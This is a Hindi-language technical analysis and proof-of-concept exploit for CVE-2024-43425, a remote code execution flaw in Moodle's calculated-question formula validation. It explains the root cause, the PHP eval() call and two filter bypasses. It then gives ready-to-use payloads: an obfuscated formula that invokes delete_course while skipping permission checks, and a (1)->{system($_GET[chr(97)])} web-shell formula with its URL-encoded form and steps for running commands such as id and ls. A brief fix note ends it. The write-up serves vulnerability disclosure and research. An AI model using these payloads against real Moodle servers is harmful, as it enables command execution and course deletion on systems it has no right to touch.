
CVE-2024-43425 के लिए विस्तृत तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट शोषण, गणना किए गए प्रश्न सूत्रों के माध्यम से Moodle रिमोट कोड निष्पादन भेद्यता, जिसमें मूल कारण और पुनरुत्पादन चरण शामिल हैं।
एप्लिकेशन का नाम: Moodle
बिल्ड संस्करण: moodle-4.4.1
प्रभावित संस्करण: 4.4 से 4.4.1, 4.3 से 4.3.5, 4.2 से 4.2.8, 4.1 से 4.1.11 और पिछले असमर्थित संस्करण
डाउनलोड लिंक: moodle-4.4.1
Moodle पाठ्यक्रम में प्रश्न बनाने या संशोधित करने की अनुमति वाले हमलावर गणना किए गए प्रश्नों के लिए दुर्भावनापूर्ण इनपुट डेटा बना सकते हैं, जिसका दुरुपयोग अंतर्निहित सिस्टम पर मनमानी कमांड निष्पादित करने के लिए किया जा सकता है।

qtype_calculated_find_formula_errors फ़ंक्शन Moodle में दर्ज सूत्रों की वैधता सुनिश्चित करने, सिंटैक्स त्रुटियों को रोकने में मदद करता है।

चर को संख्या 1.0 से बदल दिया जाता है, सूत्र को लोअरकेस में बदल दिया जाता है और रिक्त स्थान हटा दिए जाते हैं।


मुख्य सत्यापन तर्क सूत्र के माध्यम से पुनरावृत्ति करके और सबसे बाएं आंतरिक गणितीय अभिव्यक्ति की पहचान करके किया जाता है, जिसे नेस्टेड कोष्ठक की कमी से पहचाना जा सकता है। फिर इस अभिव्यक्ति को 1.0 से बदल दिया जाता है।

अंत में, जब रेगुलर एक्सप्रेशन कोई अतिरिक्त मैच नहीं लौटाता है, तो सूत्र को मान्य माना जाता है यदि इसमें केवल सुरक्षित ऑपरेटर या संख्याएं हों, मूल सूत्र को सीधे eval को भेजा जाता है।
परिणाम सत्यापन अपूर्ण फ़िल्टरिंग के बाद सूत्र को php eval() फ़ंक्शन में पास करके किया जाता है। सत्यापन तर्क प्रक्रिया को बायपास करने के लिए 2 दृष्टिकोण हैं:

चर प्लेसहोल्डर जैसे {a} को उनके मानों से बदलना () में लपेटा जाता है, यदि हम उपरोक्त अभिव्यक्ति में {a} जोड़ते हैं तो यह 'PRINTF' के अनुरूप होगा, परिणाम 'PRINTF'(1) होगा, इसलिए दो भागों के साथ एक उत्तर सूत्र परिभाषित किया जा सकता है: a (function_name) और a {variable}।
2) अपरिभाषित चर को eval() फंक्शन में पास करने से पहले प्रतिस्थापित नहीं किया जाता है, इसलिए वे सूत्र के भाग के रूप में अप्रभावित रहते हैं। इसके अलावा, चर नामों के लिए स्वच्छता जांच सूत्र के अन्य सभी भागों के लिए लागू जांच की तुलना में कम सख्त होती है। php object->{"member"} सिंटैक्स का उपयोग करते समय मनमानी फ़ंक्शन को कॉल करने के लिए इसका दुरुपयोग किया जा सकता है।
एक चर के साथ एक गणना किया गया प्रश्न बनाएं, उदाहरण {a}

प्रश्न सहेजें और चर के मान की सीमा को ठीक पाठ्यक्रम आईडी 3 के रूप में परिभाषित करें।

प्रश्न सहेजें, फिर अभिव्यक्ति को संपादित करें:
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

संशोधित प्रश्न को सहेजने पर त्रुटि होगी, लेकिन प्रश्न अभी भी सहेजा जाएगा। प्रश्न बैंक पर वापस जाएं और प्रश्न का पूर्वावलोकन करें, DELETE_COURSE फ़ंक्शन निर्दिष्ट आईडी वाले पाठ्यक्रम को हटा देगा, किसी भी अनुमति जांच को छोड़ देगा।


एक गणना किया गया प्रश्न बनाएं। उत्तर सूत्र सेट करें:
(1)->{system($_GET[chr(97)])}

अभिव्यक्ति को 1-0-system($_GET{chr(97)}) में संशोधित किया गया है।

अनुरोध को इंटरसेप्ट करें और इसे वापस (1)->{system($_GET[chr(97)])} में संशोधित करें। %281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

त्रुटि प्रकट होती है: exception-system():Argument#1($command) खाली नहीं हो सकता।

URL में &a=[मनमानी कमांड] जोड़कर वांछित कमांड प्रदान करें। निर्दिष्ट सिस्टम कमांड का आउटपुट परिणामी HTTP प्रतिक्रिया के शीर्ष में शामिल किया जाएगा।
A=id

A=ls

qtype_calculated_find_formula_errors फ़ंक्शन को ठीक करें ताकि /question/type/calculated/questiontype.php हमेशा गलत मान लौटाए यदि गणना किए गए प्रश्नों का उपयोग नहीं किया जाता है।